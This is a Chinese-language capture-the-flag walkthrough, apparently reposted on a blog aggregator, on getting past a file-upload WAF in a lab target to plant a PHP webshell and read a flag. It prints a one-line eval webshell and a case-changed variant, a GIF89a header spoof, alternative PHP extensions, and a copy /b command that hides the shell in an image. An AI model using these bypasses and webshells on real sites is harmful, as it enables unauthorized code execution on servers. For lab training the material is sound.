题目2 文件上传(保姆级教程)

news2024/12/23 4:04:27

url:http://192.168.154.253:82/  #打开http://XXX:81/,XXX为靶机的ip地址

审题

1、打开题目看到有一个提示,此题目需要绕过WAF过滤规则,上传木马获取webshell,最后从根目录下key.php文件中获得flag

2、开始答题

第一步:判断过滤规则

1、上传正常的图片(.jpg格式)

2、盲猜是做了黑名单或者是白名单的校验,尝试制作上传图片木马进行过滤绕过

准备工作:

  • 1个正常上传的图片
  • 1个一句话木马(php)

执行命令:

copy 1.jpg/b+1.php YiJuHua.jpg/b

上传图片木马

上传成功

3、连接图片木马

—— 这里测试连接不成功,是由于WAF不止对文件后缀做了校验,还对文件内容进行了校验

4、猜测是WAF进行了数据包内容校验,使用burp抓包,修改数据包(注意,需要burp截断更改数据包内容

修改文件后缀:php3、php5、pht等

修改文件格式:

GIF89a

<?php @eval($_POST['shell']);?>

关键字大小写绕过过滤:

<?php @Eval($_POST['shell']);?>

解释:

  • 通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。
  • 当不能使用php代码直接注入时可以改为phtml格式加入GIF89a(图片头文件欺骗),后台认为是图片,上传后再执行木马。
  • 先将文件改为.jpg欺骗网址第一层,抓包将filename改为以.php5结尾进行文件后缀校验绕过,GIF89a则负责骗过文件头部校验第二层,最后修改evalEval,进行大写绕过关键字过滤第三层防护。

上传成功:http://192.168.154.253:82/vulnerabilities/YiJuHua.php5

5、连接后门地址

6、获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/783573.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】二叉树详解(3)

⭐️ 前言 ✨ 往期链接&#xff1a;【数据结构】二叉树详解(1) 在第一篇二叉树文章中&#xff0c;我们探讨了二叉树的链式结构定义与实现。二叉的遍历包含( 前序/中序/后序遍历 )及代码实现和递归流程图的详细讲解。还有一些二叉树的其他接口定义与实现&#xff0c;包含 Binar…

基于netlify生成custom SSL certificate

&#xff08;1&#xff09;腾讯云申请 &#xff08;2&#xff09;域名控制台解析 &#xff08;3&#xff09;Nginx下载&#xff08;crt: CA certificate Chain)

C++ 设计模式 ---- 接口隔离模式

“接口隔离”模式 在组件构建过程中&#xff0c;某些接口之间直接的依赖常常会带来很多问题、甚至根本无法实现。采用添加一层间接&#xff08;稳定&#xff09;接口&#xff0c;来隔离本来互相紧密关联的接口是一种常见的解决方案。典型模式&#xff1a;1、Facade2、Proxy3、…

MongoDB原生语句更新嵌套数组的值

一、更新一层嵌套数组 首先执行MongoDB原生语句脚本在user集合中产生一些样本数据,如下所示: db.user.insert({"_id":1,"title":"爱情公寓3","students":[{"student_id":1001,"student_name":"林宛瑜&quo…

Docker介绍及安装使用

Docker介绍及安装使用 一、Docker的概述1、Docker是什么&#xff1f;2、Docker的Logo3、Docker的设计宗旨&#xff08;一次封装&#xff0c;到处运行&#xff09;4、容器化越来越受欢迎的原因 二、Docker与虚拟机的区别三、Docker的使用场景四、Docker的核心概念1、镜像2、容器…

基于linux下的高并发服务器开发(第二章)- 2.25 sigprocmask 函数使用

int sigprocmask(int how, const sigset_t *set, sigset_t *oldset);- 功能&#xff1a;将自定义信号集中的数据设置到内核中&#xff08;设置阻塞&#xff0c;解除阻塞&#xff0c;替换&#xff09;- 参数&#xff1a;- how : 如何对内核阻塞信号集进行处理SIG_BLOCK: 将用户设…

【MySQl】MySQl中的乐观锁是怎么实现的

文章目录 前言一、乐观锁二、如何实现乐观锁呢&#xff0c;一般来说有以下2种方式2.1、使用数据版本&#xff08;Version&#xff09;记录机制实现2.2、乐观锁定的第二种实现方式和第一种差不多 前言 mysql中的乐观锁是怎么实现的&#xff1f;很多新手对此不是很清楚&#xff…

第一次参加【CSDN周赛(考试/编程竞赛)】第65期,应该注意些什么?都考什么题目?要具备什么知识?耗时__,我居然取得了__分的成绩

订阅专栏,学习更多干货知识!! 第一次参加 CSDN里的竞赛(考试),都需要注意些什么?考试都考了什么?要具备什么知识?本文带你了解一下!! 🤾🏿‍♂️目录 🌁一、先来看结果吧(有Bug?)🥕1.1 什么情况!🥕1.2 测评报告🥤1.2.1 选择题🥤1.2.2 编程题🥕1…

Redis持久化:分别启用rdb和aof,并查看是否有对应文件生成

一、rdb 简介&#xff1a;在指定的时间间隔内将内存中的数据集快照写入磁盘&#xff0c; 也就是Snapshot快照&#xff0c;它恢复时是将快照文件直接读到内存里。 1. 进入redis.conf文件中查看配置文件 [rootserver ~]# vim /usr/local/redis-stable/redis.conf 2.把持久化的…

《Docker数据管理:卷、挂载和持久化,保障容器环境数据安全》

&#x1f337;&#x1f341; 博主 libin9iOak带您 Go to New World.✨&#x1f341; &#x1f984; 个人主页——libin9iOak的博客&#x1f390; &#x1f433; 《面试题大全》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33…

【博客682】k8s apiserver bookmarks机制以更高效检测变更

k8s apiserver bookmarks机制以更高效检测变更 list-watch背景&#xff1a; List-Watch 是kubernetes中server和client通信的最核心的机制&#xff0c; 比如说api-server监听etcd&#xff0c; kubelet监听api-server&#xff0c; scheduler监听api-server等等&#xff0c;其实…

Paragon NTFS2023最新版Mac读写NTFS磁盘工具

Paragon NTFS for Mac是Mac平台上一款非常优秀的读写工具&#xff0c;可以在Mac OS X中完全读写、修改、访问NTFS硬盘、U盘等外接设备的文件。这款软件最大的亮点简书可以让我们读写 NTFS 分区&#xff0c;因为在Mac OS X 系统上&#xff0c;默认状态下我们只能读取NTFS 分区&a…

152. 乘积最大子数组

152. 乘积最大子数组 原题链接&#xff1a;完成情况&#xff1a;解题思路&#xff1a;参考代码&#xff1a; 原题链接&#xff1a; 152. 乘积最大子数组 https://leetcode.cn/problems/maximum-product-subarray/ 完成情况&#xff1a; 解题思路&#xff1a; 看好题目&…

Nginx 301重定向分析

参考; 404 - 墨天轮 深度硬核文:Nginx的301重定向处理过程分析 - 知乎 Nginx的301状态码处理逻辑设计 HTTP协议中3xx开头的状态响应码都是表示重定向的响应。根据RFC的定义&#xff1a; 301 Moved Permanently 302 Found 303 See Other 307 Temporary Redirect 301是永…

STL——String类(2)成员函数详解

目录 前言 一.String的成员函数&#xff1a; 1.基本成员函数 代码实验&#xff1a; 实验结果&#xff1a; 类对象每次扩容后的capacity数据展示&#xff1a; 1.2. resize()&#xff1a;调整字符串大小 1.3reserve()&#xff1a;请求更改该对象的容量capacity值 代码实验…

分组密码模式的填充

分组加密 在密码学中&#xff0c;分组加密(Block cipher)&#xff0c;又称分块加密或块密码&#xff0c;是一种对称密钥算法。 它将明文分成多个等长的模块(block)&#xff0c;使用确定的算法和对称密钥对每组分别加密解密。 常见的分组加密算法有: DES、3DES、AES、IDEA。 …

Ubuntu虚拟机部署配置

目录 虚拟机镜像下载 VirtualBox7下载 VirtualBox7安装镜像流程 创建虚拟机 虚拟机挂单独硬盘 网络设置 检查虚拟机配置 启动虚拟机 ubuntu配置 查询虚拟机IP地址 修改ROOT密码 更新apt NTP同步 挂载磁盘&关闭swap 虚拟机镜像下载 目前国内操作系统镜像源非常…

2023-07-19力扣今日二题

链接&#xff1a; 2737. 找到最近的标记节点 题意&#xff1a; 给一个n节点有向图&#xff0c;求节点s和点集marked中的最短距离&#xff0c;没有可以的到达的点则返回-1 解&#xff1a; 摇了一题困难过了2/3&#xff0c;搞不定了 没有负权边的单源最短距离&#xff0c;迪…

代码-【2 单链表A、B交集存放到C】

1&#xff09;基本思想&#xff1a; A、B两个链表的元素均递增有序&#xff0c;所以可以按顺序&#xff0c;同时从A中和B中各取一个结点的值来对比&#xff1b;如果A中结点的值比较小&#xff0c;则A中的指针右移&#xff1b;如果B中的结点的值比较小&#xff0c;则B中的指针右…

优思学院|工程师学习六西格玛有什么用?

很久以前&#xff0c;世上没有当今盛行的各种简单易用的统计软件&#xff0c;那时复杂的统计分析只能依靠公司的统计顾问。而和他们在一起工作时&#xff0c;工程师必须知道怎样进行提问。 如果工程师缺乏对统计工具的认识&#xff0c;即使拿到正确的工具也于事无补。当顾问遇…